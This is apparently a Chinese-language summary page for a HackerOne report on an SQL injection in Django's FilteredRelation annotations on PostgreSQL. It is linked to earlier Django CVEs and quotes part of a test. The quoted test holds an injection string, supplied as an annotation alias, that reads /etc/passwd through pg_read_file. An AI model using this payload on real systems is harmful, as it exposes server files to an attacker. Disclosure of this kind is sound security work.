Potential SQL Injection when annotating FilteredRelation on PostgreSQL
该报告还没有中文解读。
原文摘录
摘自原文(5774 字符中的一小部分)
This vulnerability is related to [CVE 2025-57833](https://docs.djangoproject.com/en/dev/releases/security/#september-3-2025-cve-2025-57833) and [CVE 2025-59681](https://docs.djangoproject.com/en/dev/releases/security/#october-1-2025-cve-2025-59681) as it results from an incomplete Regex filter in …
原文中的代码
def test_sqli(self):
user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"
qs = (
Book.objects.annotate(**{
user_data: …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Django 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @stackered · 版权归作者与 Django 所有